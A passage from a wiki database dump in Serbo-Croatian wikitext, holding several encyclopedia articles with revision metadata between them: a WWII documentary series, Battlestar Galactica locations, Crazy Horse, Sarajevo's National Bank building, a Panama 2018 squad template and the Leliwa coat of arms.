Delano Ruzvelt|Ruzveltu]] u [[Bela kuća|Beloj kući]] [[1942]], susret generala [[Dragoljub Mihailović|Mihailovića]] i američkog pukovnika [[Robert Mekdauel|Mekdauela]] [[1944]], oboreni američki piloti koje su spasili pripadnici [[Jugoslovenska vojska u otadžbini|JVuO]] ([[Operacija Vazdušni most|Misija „Haljard“]]), britanske i američke isporuke oružja i opreme partizanima, partizani u britanskim uniformama i sa britanskim naoružanjem.<ref>{{cite web|url=http://www.vesti-online.com/Scena/Film/377333/Sto-puta-sam-bio-optuzen|title=Sto puta sam bio optužen|publisher=Vesti online|date=|accessdate=30. 7. 2015|archive-date=2018-08-21|archive-url=https://web.archive.org/web/20180821093747/https://vesti-online.com/Scena/Film/377333/Sto-puta-sam-bio-optuzen|url-status=dead}}</ref> == Spisak epizoda == {| class="wikitable" |- ! '''Broj''' !! '''Naslov''' !! '''Trajanje''' !! '''Tema''' !! '''Sagovornici''' |- | 1. | Uzroci Drugog svetskog rata | 31:15 | Period između dva rata | |- | 2. | Italija i genocid u Nezavisnoj Državi Hrvatskoj | 30:00 | Dupli savezi - Italijani i Srbi nasuprot Nemcima i Hrvatima | |- | 3. | Vojnici, revolucionari i kvislinzi | 30:00 | Četnici, Nedićevci i Komunisti | |- | 4. | Mihailović protiv Romela | 30:00 | Grupa ''Gordon'' | |- | 5. | U očekivanju savezničke invazije Jadrana | 30:00 | Očekivano savezničko iskrcavanje na Jadranu | |- | 6. | Bitka za Srbiju | 30:00 | Opremanje Partizanskog pokreta | |- | 7. | Poslednja ofanziva četnika protiv Osovine | 27:47 | Septembar 1944. godine | |- | 8. | Kralj Petar, Čerčil i Ruzvelt | 28:47 | Pozivanje Kralja Petra da se četnici stave po komandu Tita | |- | 9. | U svetskom vihoru | 29:56 | Sukob britanske i američke obaveštajne službe | |- | 10. | Mekdauel protiv Staljina | 27:41 | Misija ''Rendžer'' | |- | 11. | Invazija Crvene armije | 26:18 | Oslobađanje Jugoistočnih krajeva Srbije | |- | 12. | Bitka za demokratiju | 27:33 | Uvođenje komunističkog režima u zemlje istočnog bloka i Jugoslaviju | |} == Nagrade == Dokumentarac je nagrađen na oba festivala na koja je učestvovao: "Evro in fest" u [[Novi Sad|Novom Sadu]] [[decembar|decembra]] 2014, kao ostvarenje od posebnog istoriografskog značaja i "Zlatna buklija", u [[Velika Plana|Velikoj Plani]] maja 2015, za režiju. == Reference == {{reflist}} == Vanjske veze == * [http://kingdom-of-yugoslavia-in-ww2.com/ Kraljevina Jugoslavija u Drugom svetskom ratu] {{Webarchive|url=https://web.archive.org/web/20150731201302/http://kingdom-of-yugoslavia-in-ww2.com/ |date=2015-07-31 }} * [http://www.novosti.rs/vesti/kultura.71.html:611964-Odrastao-sam-uz-emigrante-i-Karadjordjevice Odrastao sam uz emigrante i Karađorđeviće („Večernje novosti”, 26. jun 2016)] {{TVSvijek|2014|2015|Kraljevina Jugoslavija u Drugom svetskom ratu}} [[Kategorija:Srpske TV-serije]] [[Kategorija:Dokumentarne TV-serije]] [[Kategorija:TV-serije o Drugom svjetskom ratu]] do9tomsac8tjhs7buh0ksahufbf6ves 0 4609022 42602683 42411178 2026-05-28T07:11:37Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602683 wikitext text/x-wiki Dolje navedeni članak navodi lokacije koje se spominju ili prikazuju u djelima koje pripadaju fiktivnom univerzumu TV-serije ''[[Battlestar Galactica (TV serija, 2004)|Battlestar Galactica]]''. Popis se odnosi isključivo na remake, odnosno seriju započetu 2003. godine. == Planete == === Kobol === Kobol je matična planeta gdje je evoluirala ljudska vrsta. U drevno doba je bio bogat i napredan, a njime su vladali [[Bogovi Kobola|Gospodari Kobola]], humanizirana božanstva. U jednom trenutku je stanovništvo planete postalo dekadentno, izopačeno i nasilno. Zbog toga su Gospodari Kobola odlučili da trinaest ljudskih plemena više neće živjeti sa njima. Dvanaest od trinaest plemena je koloniziralo planete koje će postati [[Dvanaest Kolonija]], dok je trinaesto otišlo na planetu [[Zemlja (planeta)|Zemlju]]. Kobol se nalazi oko 2000 svjetlosnih godina udaljenosti od 12 Kolonija. U TV-seriji iz 2004. godine je Kobol prikazan zahvaljujući lokaciji Widgeon Slough, u Provincijskom parku Pinecone Burke i Port Coquitlamu u [[Kanada|kanadskoj]] provinciji [[Britanska Kolumbija]].<ref name="bassom">David Bassom, ''Battlestar Galactica: The Official Companion''. Titan Books, August 2005, {{ISBN|1-84576-097-2}}</ref> ==== Grad bogova ==== Grad bogova je sjedišta Kobola, gdje su prema legendi živjeli Gospodari Kobola zajedno sa ljudima. Grad se sastoji od sedam distrikata. U sjedištu grada se nalazi veliki teatara Kobola. U vrijeme događanja serije je grad u ruševinama. ==== Atenin grob==== Prema Svetim spisima, kada je čovječanstvo protjerano sa Kobola, boginja Atena se u očaju bacila sa vrha planina. U TV-seriji Kolonijalna flota pronalazi Kobol i predsjednica [[Laura Roslin]] odlučuje poslati ekspediciju da pronađe Atenin grob, uvjeren da će preko nje pronaći put za Zemlju. Članovi ekspedicije pronalez grob u unutrašnjosti planete te stavljaju Apolonovu strijelu u ruke statue [[Strijelac (znak)|Strijelca]]. Nakon toga se grupa prebaci u krug [[megalit]]a označenih znakovima zodijaka i shvati da je projicirana na tlo Zemlje. Kako bi pronašli Atenin grob, članovi ekspedicije moraju proći kroz Herina vrata, prijevoj između dvije planine na Koboolu. Scene su rekonstruirane na lokaciji u okolici [[Vancouver]]a, odnosno lokaciji koju tamošnji žitelji zovu The Lions.<ref>{{Cite web |url=http://vancouverhiking.tripod.com/id10.html |title=Vancouver Hiking - The Lions |access-date=2017-12-23 |archive-date=2017-12-21 |archive-url=https://web.archive.org/web/20171221212858/http://vancouverhiking.tripod.com/id10.html |url-status=dead }}</ref> === Dvanaest kolonija Kobola === {{main|Dvanaest Kolonija}} Dvije hiljade godina nakon događaja koji se opisuju u miniseriji, dvanaest od trinaest plemena čovječanstva je napustilo [[#Kobol|pianetu Kobol]] i koloniziralo dvanaest planeta. Ispočetka su sve planete bile nezavisne države; imena im potiču od drevnih plemena, a mijenjala su se sa vremenom. Pred početak Prvog sajlonskog rata, planete su se udružile u [[federativnu republiku]] i Člancima kolonizacije pretvorile u [[federativna republika|federativnu republiku]] pod imenom "Dvanaest Kolonija Kobiola". Godišnjica Članaka se slavila kao Kolonijalni dan. {| class="wikitable" !Znak zodijaka !Sazviježde !Ime (1978) !Ime (2003) !Zastava !Glavni grad<ref>Prema remakeu iz 2003.</ref> !Bog zaštitnik !Nadimak |- |[[File:Aquarius.svg|center|30x30px|Aquario]] |<div align="center">[[Vodenjak (sazvježde)|Vodenjak]]</div> |<div align="center">Aquarus</div> |<div align="center">Aquaria</div> |[[File:Aquaria flag symbol.png|center|50px|Aquarion Colony Flag Icon]] |Heim |<div align="center">–</div> |Ledena kolonija |- |[[File:Aries.svg|center|30x30px|Ariete]] |<div align="center">[[Ovan (sazvježde)|Ovan]]</div> |<div align="center">Aeries</div> |<div align="center">Aerilon</div> |[[File:Reflections aerilon by youmademebelieve.jpg|centro|miniatura|80x80px]] |<div align="center">Gaoth</div> |Demetra |Žitnica kolonija |- |[[File:Cancer.svg|center|30x30px|Cancro]] |<div align="center">[[Rak (sazvježde)|Rak]]</div> |<div align="center">Orion</div> |<div align="center">Canceron</div> |[[File:Canceron flag symbol.png|center|50px|Canceron Colony Flag Icon]] |<div align="center">Hades</div> |<div align="center">–</div> |Izdašna demokracija |- |[[File:Capricorn.svg|center|30x30px|Capricorno]] |<div align="center">[[Jarac (sazvježde)|Jarac]]</div> |<div align="center">Caprica</div> |<div align="center">Caprica</div> |[[File:Caprica flag symbol.png|center|50px|Caprica Colony Flag Icon]] |<div align="center">Caprica City</div> |<div align="center">[[Atena]]</div> |Sjedište Kolonija |- |[[File:Gemini.svg|center|30x30px|Gemelli]] |<div align="center">[[Blizanci (sazvježde)|Blizanci]]</div> |<div align="center">Gemoni</div> |<div align="center">Gemenon</div> |[[File:Gemenon flag symbol.png|center|50px|Gemenon Colony Flag Icon]] |<div align="center">Oranu</div> |<div align="center">–</div> |Prva kolonija |- |[[File:Leo.svg|center|30x30px|Leone]] |<div align="center">[[Lav (sazvježde)|Lav]]</div> |<div align="center">Leonis</div> |<div align="center">Leonis</div> |[[File:Leonis flag symbol.png|center|50px|Leonis Colony Flag Icon]] |<div align="center">Luminere</div> |<div align="center">–</div> |Srce Kolonija |- |[[File:Libra.svg|center|30x30px|Bilancia]] |<div align="center">[[Vaga (sazvježde)|Vaga]]</div> |<div align="center">Libris</div> |<div align="center">Libran</div> |[[File:Libran flag symbol.png|center|50px|Libran Colony Flag Icon]] |Themis |<div align="center">–</div> |Kolonija pravde |- |[[File:Pisces.svg|center|30x30px|Pesci]] |<div align="center">[[Ribe (sazvježde)|Ribe]]</div> |<div align="center">Piscera</div> |<div align="center">Picon</div> |[[File:Picon flag symbol.png|center|50px|Picon Colony Flag Icon]] |<div align="center">Queenstown</div> |<div align="center">–</div> |Oceanska kolonija |- |[[File:Sagittarius.svg|center|30x30px|Sagittario]] |<div align="center">[[Strijelac (sazvježde)|Strijelac]]</div> |<div align="center">Sagitara</div> |<div align="center">Sagittaron</div> |[[File:Saggitaron flag symbol.png|center|50px|Sagittaron Colony Flag Icon]] |<div align="center">Tawa</div> |<div align="center">–</div> |Usamljena kolonija |- |[[File:Scorpio.svg|center|30x30px|Scorpione]] |<div align="center">[[Škorpion (sazvježde)|Škorpion]]</div> |<div align="center">Scorpion</div> |<div align="center">Scorpia</div> |[[File:Scorpia flag symbol.png|center|50px|Scorpia Colony Flag Icon]] |<div align="center">Celeste</div> |<div align="center">[[Mitra (bog)|Mitra]]</div> |Zabavni park Kolonija |- |[[File:Taurus.svg|center|30x30px|Toro]] |<div align="center">[[Bik (sazvježde)|Bik]]</div> |<div align="center">Taura</div> |<div align="center">Tauron</div> |[[File:Tauron flag symbol.png|center|50px|Tauron Colony Flag Icon]] |<div align="center">Hypatia</div> |<div align="center">[[Ares]]</div> |Stara kolonija |- |[[File:Virgo.svg|center|30x30px|Vergine]] |<div align="center">[[Djevica (sazvježde)|Djevica]]</div> |<div align="center">Virgon</div> |<div align="center">Virgon</div> |[[File:Virgon flag symbol.png|center|50px|Virgon Colony Flag Icon]] |<div align="center">Boskirk</div> |<div align="center">–</div> |Imperijalni Virgon |- |} === Zemlja === Pod imenom "Zemlja" se u seriji pojavljuju dvije različite planete. Prema Svetim spisima, Zemlja je planeta na koju se naselilo i koloniziralo trianesto pleme Kobola. Kolonijalna flota u epizodi ''[[Revelations (Battlestar Galactica)|Revelations]]'' pronalazi Zemlju, ali otkriva da je njena površina beživotna i radioaktivna. U epizodi ''[[Sometimes a Great Notion (Battlestar Galactica)|Sometimes a Great Notion]]'' se otkriva da su trinaesto pleme u stvari bili humanoidni [[Sajlonci]], ali da je njihovu planetu prije 2000 godina uništio [[nuklearni rat]]; jedini preživjeli su bili Sajlonci koji će kasnije postati poznati kao Posljednjih Pet. U posljednjoj epizodi serije pod naslovom ''[[Daybreak (Battlestar Galactica)|Daybreak]]'', Kolonijalna flota pronalazi solarni sistem sa planetom za koju se ispostavlja da je [[Zemlja (planeta)|Zemlja]], te se preživjeli ostaci čovječanstva spuštaju na [[Afrika|afrički]] kontinentu. U epilogu koji se događa 150.000 godina kasnije u [[New York]]u, vijesti govore o otkriću [[mitohondrijska Eva|mitohondrijske Eve]], za koju se ispostavi da je Hera, kćer čovjeka [[Karl Agathon|Karla Agathona]] i Sajlonke [[Broj Osam (Battlestar Galactica)|Sharon Valerii]]. === Sajlonska kolonija === Po završetku Prvog sajlonskog rata, Sajlonci su kolonizirali planetu koju jednostavno zovu "Sajlonski matični svijet" ({{jez-en|Cylon homeworld}}). Na toj planeti su konstruirali orijašku svemirsku stanicu koju zovu Kolonija ({{jez-en|The Colony}}), a na kojoj mehanički Sajlonci i Posljednjih Pet zajedno radi na stvaranju drugih humanoidnih modela. Kolonija je smještena kraj crne rupe i zaštićena kako nuklearnim oružjem, tako i gravitacijskim anomalijama. === Nova Caprica === Na kraju [[Battlestar Galactica (sezona 2)|druge sezone]] Kolonijalna flota i izbjeglice pronalaze i koloniziraju planetu koja je suha i sa oskudnom vegetacijom, ali inače pogodna za život. Proizvaju je Nova Caprica ({{jez-en|New Caprica}}) i na njoj izgrade grad pod imenom New Caprica City, uglavnom napravljen od izbjegličkih letjelica. Godinu dana kasnije planetu pronalaze Sajlonci, prisiliši Kolonijalnu flotu da pobjegne. Sajlonci tjeraju predsjednika [[Gaius Baltar|Gaiusa Baltara]] na predaju i uspostavljaju režim vojne okupacije protiv koga [[Galen Tyrol]], [[Samuel Anders]] i [[Saul Tigh]] organiziraju [[pokret otpora]]. Na kraju izbjeglice uspiju pobjeći sa planete i ponovno se priključiti Galactici i ostatku flote. === Pianeta algi === Planeta algi se nalazi u zvjezdanom jatu [[nebula|nebule]], te je bogato morskim oblicima života, posebno [[alge|algama]]. Kolonijalna flota tamo dolazi u vrijeme kada je u njenim redovima zavladala [[masovna glad|glad]]. Nekolioko brodova se spušta i uspostavlja privremenu bazu. Na planeti Galen Tyrol bude na misteriozan način privučen prema lokaciji za koju se ispostavi da predstavlja [[#Hram Petoro|Hram Petoro]]. Potom se ispostavi da će planeta Floti ukazati na put prema lokaciji Trinaestog plemena Kobola. Flota je prisiljena napustiti planetu kada matična zvijezda [[supernova|eksplodira]]. Kao lokacija za planetu je poslužilo mjesto Kamloops u [[Britanska Kolumbija|Britanskoj Kolumbiji]]. ==== Hram Petoro ==== Hram Petoro (također poznat i kao Hram Nade) se spominje u Svetim spisima kao mjesto koje sadrži Jupiterovo oko, artefakt koji pokazuje na put prema Zemlji. Nakon što je Hram, zajedno sa planetom, uništen u eksploziji supernove, ispostavi da je Jupiterovo oko zapravo matična zvijezda planete. Hram je bio sagrađen prije 4000 godina od petoro svećenika heretičkog kulta "Onih koji ne smiju biti imenovani". Mašinerija unutar Hrama uspije izazivati vizije Posljednjih Pet kod Gaiusa Baltara i [[Broj Tri (Battlestar Galactica)|D'Anne Biers]], a od kojih posljednja doznaje njihov identitet prije nego što će umrijeti u Baltarovim rukama. == Ostale == === Ragnar === Pristanište Ragnar je napuštena vojna stanica smještena u [[nebula|nebuli]] čija je radijacija bezopasna za ljude, ali oštećuje [[silikat]]ne [[neuronske mreže]] humanodinih Sajlonaca. U pristaništu se nalaze zalihe oružja i opreme koju ''Galactica'' nastoji iskoristiti kako bi organizirala kontranapad protiv Sajlonaca, ali ju je na kraju prisiljena napustiti kako bi zaštitila izbjegličku flotu i ostatke čovječanstva. === Linija primirja === Linija prmirja služi za demarkaciju svemira pod nadzorom Dvanaest Kolonija i svemira pod nadzorom Sajlonaca. Uspostavljena je po završetku Prvog sajlonskog rata i njeno prelaženje se smatra ratnim činom. Usprkos toga je [[William Adama]], šest godina prije [[uništenje Dvanaest Kolonija|sajlonskog napada]] kao zapovjednik krstarice ''Valkyrie'', dobio tajni zadatak prijeći liniju kako bi špijunirao Sajlonce. Prilikom njega je pilot po imenu Daniel "Bulldog" Novacek nestao i kasnije postao sajlonski zarobljenik. === Stanica primirja === Stanica primirja je usamljena svemirska stanica sagrađena nakon [[Sajlonski rat]]a, odnosno uspostavljanja primirja. Svrha joj je pružiti mjesto gdje bi predstavnici ljudi i Sajlonaca održavali diplomatske odnose. Svakih četrdeset godina Dvanaest Kolonija šalju jednog predstavnika, a Sajlonci ne šalju nikada. Izuzetak se događa neposredno pred uništenje Dvanaest Kolonija, kada kopija [[Broj Šest (Battlestar Galactica)|Broj Šest]] dođe, ali odmah potom stanica bude uništena. == Reference == {{izvori}} {{Battlestar Galactica}} [[Kategorija:Battlestar Galactica|L]] [[Kategorija:Fiktivne lokacije po franšizi|Battlestar Galactica]] 6rxhxa21ovmef5ubgv32b60xiwzyxl5 0 4618326 42602701 42264817 2026-05-28T08:43:01Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602701 wikitext text/x-wiki [[Datoteka:CrazyHorse.jpeg|okvir|T‘ašunka Witko ili T‘ašuŋke Witko ili Ludi Konj (ili točnije "Njegov Konj Je Lud"), rodio se između 1840. i 1842. na Rapid Creeku, Teritorij Dakota.]] '''T‘ašunka Witko''', poznatiji kao Crazy Horse (Ludi Konj) ([[1840.]] ili [[1842]].-[[5. rujna]] [[1877]].), legendarni poglavica iz plemena [[Oglala]] [[Lakota]]. Izvanredno hrabar ratnik. Vlastiti [[narod]] ga priznaje kao [[vizionar]]a odanog [[Indijanci|indijanskom]] načinu života. Ne zna se gdje se rodio. Pretpostavlja se da je rođen [[1840.]] Imao je tri žene, sestru i polubrata. Ime Ludi Konj dobio je u 18. godini. Vizija koju je imao nakon [[Grattanski masakr|Grattanskog masakra]] pratit će ga do smrti. Ratni vođa postaje [[1865]]. [[21. prosinca]] [[1866.]], s 1000 ratnika napravio je [[Fettermanski masakr]]. [[1870.]] uzima prvu suprugu. Iduće godine uzima i drugu. [[14. kolovoza]] [[1872]]. on i [[Bik Koji Sjedi]] napali su pratnju željeznice. [[26. lipnja]] [[1876]]. ponovno se susreo s Bikom Koji Sjedi te su izvojevali najveću pobjedu u povijesti indijanskog otpora bijelcima. Tada se odigrala [[bitka kod Little Big Horna]] gdje je poginuo [[George Armstrong Custer|general Custer]]. U Fort Robinsonu oženio se treći put. Proboden je bajunetom [[5. rujna]] [[1877.]] i umro tijekom noći sa samo 37 godina. == Vanjske veze == *[http://smithdray.tripod.com/ch/crazyhorsestory.htm Crazy Horse] {{Webarchive|url=https://web.archive.org/web/20171226194917/http://smithdray.tripod.com/ch/crazyhorsestory.htm |date=2017-12-26 }} *[http://www.u-s-history.com/pages/h3755.html Crazy Horse] [[Kategorija:Poglavice Sijuksa]] [[Kategorija:Biografije, SAD]] 9jzc4eli08wxwktr8x9mw2viizdset3 0 4618976 42602570 41864340 2026-05-27T16:14:30Z CommonsDelinker 806 Uklanjam datoteku [[c:File:Centralna_banka_BiH.JPG|Centralna_banka_BiH.JPG]]; na Ostavi ju je izbrisao račun [[c:User:Jameslwoodward|Jameslwoodward]]; razlog: per [[:c:Commons:Deletion requests/File:Centralna banka BiH.JPG|]]. 42602570 wikitext text/x-wiki '''Zgrada Narodne banke''' nalazi se u ulici [[Tito|Maršala Tita]] u općini Centar, u [[Sarajevo|Sarajevu]], [[BiH]]. Komisija za očuvanje nacionalnih spomenika, na sjednici održanoj od 1. do 4. decembra 2009. godine, donijela je odluku da se zgrada, sa pokretnpm imovinom, proglasi za [[nacionalni spomenik BiH]]. <ref name="Spomenik">{{Cite web|url= http://aplikacija.kons.gov.ba/kons/public/uploads/odluke_bos/Sarajevo_Narodna%20banka%20BOS.pdf|title= Zgrada Narodne banke u Sarajevu|work= Komisija za nacionalne spomenike|accessdate= 13. 9. 2016}}{{Dead link|date=September 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> Ovu odluku Komisija je donijela u sljedećem sastavu: Zeynep Ahunbay, Martin Cherry, Amra Hadžimuhamedović [[Dubravko Lovrenović]], [[Ljiljana Ševo]] (predsjedavajuća),. Pokretnu imovinu čine: sedam umjetničkih slika, četiri stare kase, stari ormar iz radionice R. Tànczos-a, bista [[Vladimir Perić Valter|Vladimira Perića Valtera]], dvije bronzane figure na ulazu zgrade i bronzana skulptura „Kupačica“ koja se nalazi u parku iza zgrade. == Historija == Godine 1929. projekat beogradskog arhitekte [[Milan Zloković|Milana Zlokovića]] pobjedio je na arhitektonskom konkursu za Narodnu (Centralnu) banku u Sarajevu. Zloković pripada struji koja se kolokvijalno naziva „Beogradska moderna“. Zlokovićev projekat je svojevremeno izazvao polemike i različite ocjene javnosti. Za ovu historijsku građevinu jedni smatraju da pripada arhitekturi koja je nastala pod uticajem [[Arhitektura moderne|moderne]] (Predrag Milošević), dok drugi to osporavaju (Nedžad Kurto).<ref name="Spomenik"/> Godine 1932, gradnja i opremanje objekta su u potpunosti završeni i od tada, pa do početka [[Drugi svjetski rat|II svjetskog rata]], objekat radi kao Glavna filijala državne Hipotekarne banke. Istovremeno, objekat je imao i stambenu funkciju, jer su na sjevernoj strani bili smješteni stanovi zaposlenih. Tokom [[Drugi svjetski rat|II svjetskog rata]] zgrada nije oštećena. U njoj bila je smještena Komanda [[Sile osovine|njemačkih]] okupacionih snaga. Nakon završetka rata u zgradi smještena je Narodna banka NR Bosne i Hercegovina. Krajem pedesetih godina XX vijeka izvršena je dogradnja sjevernog krila gdje je smještena [[Služba društvenog knjigovodstva]], koja se izdvaja iz Narodne banke prije 1964. godine. Danas je u istom objektu smješteno Federalno ministarstvo finansija. Sedamdesetih godina urađena je nova dogradnja, a osamdesetih dograđen je cijeli sprat. Tokom [[Rat u BiH|rata 1992-95]] služila je za čuvanje predmeta od velikog kulturno-istorijskog značaja i kao sklonište. Nekoliko puta bila je pogođena, ali bez oštećenja. Avgusta mjeseca 1997. godine osnovana je Centralna banka BiH koja je smještena u objekat. U periodu 2001-2005 djelimično je restaurirana. == Opis == Tlocrtna osnova zgrade je približno pravougaonog oblika dimenzija 49,15m x 51,23m. U pogledu oblikovanja fasada, za stilski izraz zgrade Narodne banke se može reći da predstavlja ostvarenje moderne, što se očituje u obradi velikih prozorskih otvora, oblikovanju istaknutih polustubova, jasnim i efektnim masama rizalita i neskriveno istaknutim dijelovima konstrukcije. Primjese „novog klasicizma 20. vijeka” su na južnoj fasadi, sa obloženim kamenim pločama, i elementima kamene fasadne plastike, čime je udovoljeno investitorovom poimanju „monumentalnosti”<ref name="Spomenik"/> Fasada je ukrašena sa osam reljefa, rad Vladimira Zagorodnjika, scenografa [[Narodno pozorište u Beogradu|Narodnog pozorišta u Beogradu]], od kojih su dva u funkciji nadprozornika (čeona fasada), a šest u funkciji parapeta (bočne fasade). Izrađeni su u kamenu pješčaru (sive i žute boje), različitih petrografskih svojstava. Neposredan uzor za oblikovanje reljefa, je u djelima grčke umjetnosti, (ukočenost, sa hipertrofijom muskulature iako su figure u pokretu). Svojim stilom, ali i sadržajem izrađeni reljefi u potpunosti odgovaraju namjeni zgrade. Središtem kompozicije obično dominira jedan od motiva s izraženom simboličkom porukom (snop klasja, rog obilja, lađa, čekić i dlijeto, šestar i mapa, vojnički oklop, vaga, nit), a oko dominantnog motiva raspoređene su nage muške i ženske figure. Glavni ulaz u zgradu banke, flankiran je s dvije monumentalne figure muškarca i žene, postavljene na postament, također izrađene prema obrascu koji je primijenjen u oblikovanju reljefa (prenaglašena muskulatura). U postamentu, s desne strane nalazi se ćirilični natpis: V. ZAGORODNJIK/1931, a sasvim u dnu LIVENO U LIVNICI/„VOŽDOVAC“/BEOGRAD. Ormari i kase koji su pripadali prvobitnom inventaru Uprave fondova, iz austrougarskog perioda, a koji se čuvaju u prostorijama Centralne banke, posebno su zanimljiv dio inventara imajući u vidu specifičan mehanizam otvaranja i zatvaranja. U ulaznom holu banke, godine 1953. podignute su bista i spomen-ploča u znak sjećanja na [[Vladimir Perić Valter|Vladimira Perića – Valtera]]. U zaleđu banke, ispred ulaza u zgradu Ministarstva finansija i trezora nalazi se hortikulturno oblikovan prostor s fontanom. Na vrhu fontane postavljena je bronzana figura Kupačice, nepoznatog autora. == Literatura == * Alija Bejtić -Ulice i trgovi Sarajeva. Sarajevo: Muzej grada Sarajeva 1973. godine * Nedžad Kurto - Sarajevo 1492-1992, Oko, Sarajevo. *{{cite book |last = Milošević |first = Predrag |title = Arhitektura u kraljevini Jugoslaviji (Sarajevo 1918 -1941). |url= http://www.worldcat.org/title/arhitektura-u-kraljevini-jugoslaviji-sarajevo-1918-41/oclc/500710539 |publisher = Srpsko kulturno i prosvjetno društvo "Prosvjeta" |year = 1997 |isbn = }} * Emir Kadić - Arhitekt Reuf Kadić i počeci moderne arhitekture u Bosni i Hercegovini. Sarajevo, 2010. == Reference == {{reference}} {{Portal|Bosna i Hercegovina}} {{Commons|Central Bank of Bosnia and Herzegovina}} {{DEFAULTSORT:Narodna,}} [[Kategorija:Nacionalni spomenici u Sarajevu]] [[Kategorija:Građevine u Sarajevu]] [[Kategorija:Moderna arhitektura u Bosni i Hercegovini]] csbtq0cvj8phweft2exjyqjhegu6pnp 10 4620482 42602552 40834203 2026-05-27T14:10:26Z Edgar Allan Poe 29250 42602552 wikitext text/x-wiki {{National squad | name = Sastav Panama 2018 SP | bg = red | fg = white | bordercolor= #072357 | country = Panama | genitiv = Paname | comp link = FIFA Svjetsko prvenstvo 2018. | comp = FIFA Svjetskom prvenstvu 2018. | p1 = [[Jaime Penedo|Penedo]] | p2 = [[Michael Amir Murillo|Murillo]] | p3 = [[Harold Cummings|Cummings]] | p4 = [[Fidel Escobar|Escobar]] | p5 = [[Román Torres|R. Torres]] | p6 = [[Gabriel Enrique Gómez|G. Gómez]] | p7 = [[Blas Pérez|Pérez]] | p8 = [[Édgar Yoel Bárcenas|Bárcenas]] | p9 = [[Gabriel Torres|G. Torres]] | p10 = [[Ismael Díaz (panamski fudbaler)|Díaz]] | p11 = [[Armando Cooper|Cooper]] | p12 = [[José Calderón (panamski fudbaler)|Calderón]] | p13 = [[Adolfo Machado|Machado]] | p14 = [[Valentín Pimentel|Pimentel]] | p15 = [[Erick Davis|Davis]] | p16 = [[Abdiel Arroyo|Arroyo]] | p17 = [[Luis Ovalle|Ovalle]] | p18 = [[Luis Tejada|Tejada]] | p19 = [[Ricardo Ávila|Ávila]] | p20 = [[Aníbal Godoy|Godoy]] | p21 = [[José Luis Rodríguez (fudbaler rođen 1998.)|J. Rodríguez]] | p22 = [[Álex Rodríguez (panamski fudbaler)|A. Rodríguez]] | p23 = [[Felipe Baloy|Baloy]] (c) | coach = [[Hernán Darío Gómez|H. Gómez]] }}<noinclude> [[Kategorija:Šabloni sastava fudbalskih reprezentacija na SP 2018.|Panama]] [[Kategorija:Panamski šabloni]] </noinclude> 5jly75g1e4etgxw19vunmxx70t763u0 0 4625760 42602642 42407040 2026-05-28T01:24:18Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602642 wikitext text/x-wiki [[File:POL COA Leliwa.svg|200px|mini|desno|150px|Grb Leliwa]]'''Leljiva ''' (pol: leliwa) je naziv u poljskoj heraldici za grb sa simbolima polumjeseca i zvijezde iz čega je nastao i naziv jednog od poljskih heraldičkih rodova. Osobitost je poljske heraldike u postojanju heraldičkih rodova (pol. ród herbowy), kojem bi pripadale razne plemićke obitelji koje dijele isti grb. Zbog toga je grb leljiva tokom povijesti koristilo nekoliko stotina plemićkih obitelji sa prostora [[Historija Poljske|Kraljevine P]]<nowiki/>oljske i [[Državna zajednica Poljske i Litvanije|Poljsko-litavskog kraljevstva]].Ukupno je registrirano 830 obitelji koje su pripadale heraldičkom rodu leljiva. Njihovi potomci i danas koriste ovaj grb kao obiteljske grbove. Postoji nekoliko varijacija ovoga grba, no one sve nose skupni naziv leljiva, a razlikuje ih se samo putem dodavanja rimskih brojeva. Zbog opsežnog korištenja grba leljiva, usvajanja grbova, dvostrukih pogrešaka opisa, spajanja bračnih 'emblema, itd., nastalo je niz varijacija koje se od osnovnog grba razlikuju u pojedinostima. == Grb == Izvorni grba leljiva, koji se naziva leljiva I (leliwa I) sastoji se od štita plave tinkture (u poljskoj heraldici ova tinktura je uvijek nebesko plave boje), polumjeseca i šestorokrake zvijezde. Najraniji pojava grba u Poljskoj je na pečatu iz 1324., a najraniji sačuvani primjerak grba je iz 1399. Najraniji heraldički opis grba Leliwa je dat u djelu Zygmunta Celichowskog Insignia seu clenodia Regis et Regni Poloniae iz 1464. "Leliwa. que lunam defectuosam cum Stella glauca in campo celestino defert. Ex Reni partibus sub tempore Wladislai primi, Polonie regis, aduenit Spiczmerum miHtem primarium habuit auctorem, qui in primario ignile deferebat, dum ex Reno aduenit sed processu dierum in ea domo Polonorum, que defectuosam lunam rubeam cum stella rubea deferebat, se coniunxit et uniuit et unam familiam effecit; in qua viri prouidi et industrii, rei publice et proprie studiost”<ref>[https://archive.org/stream/insigniaseuclen00celigoog#page/n25 Zygmunt Celichowski: Insignia seu clenodia Regis et Regni Poloniae], str. 22., reizdanje 1885. (pristupljeno 27. rujna 2018.)</ref><ref>[http://www.wbc.poznan.pl/dlibra/docmetadata?id=1147&from=&dirids=1&ver_id=&lp=1&QI=265D9EA382E11F7725D04444212AD974-7 Zygmunt Celichowski: Insignia seu clenodia Regis et Regni Poloniae], str. 22., reizdanje 1885. (pristupljeno 27. rujna 2018.)</ref> Od 19. st. heraldički motivi polumjeseca i zvijezde se i u hrvatskoj heraldici počinju nazivati leljiva, iako su ovi motivi polumjeseca i zvijezde već od ranije prisutni u grbovima raznih hrvatskih plemićkih obitelji i slobodnih kraljevskih gradova ([[Grb Zagreba|Gradec]], [[Grb Varaždina|Varaždin]]). Grb nose i obitelji koje nisu poljskog podrijetla: a) obitelji Lipka Tatara: Aksan, Aksanow, Adamowicz, Abramowicz, Musicz, Illasiewicz and Smolski, b): obitelj Hłasko (Hlaska) podrijetlom od zaporožnih Kozaka, c) mađarske obitelji Urak i Czobor, c): adigejske obitelji Szymkowicz i Теmruk, d): francuske obitelji de Virion i de Spiner, e): njemačke (pruske) obitelji: Morstyn, Beyer, Brandt, Bolte, Przywidzki, Damerau, Kappel, Lipen, f): flamanska obitelj Bremer i nizozemske obitelji De Kunder/Kunter/Kunther, te moldavska obitelj Brăescu. == Poznati nositelji == Nositelji grba su uglavnom živjeli u području [[Krakov]]a, [[Poznanj|Poznana]] i Katowicama<ref>Nazwy oboczne, zawołania i występowanie za: Alfred Znamierowski: Herbarz rodowy. Warszawa: Świat Książki, 2004, s. 125-126.</ref> u [[Poljska|Poljskoj]], te  [[Volinj]]a i Podolije u 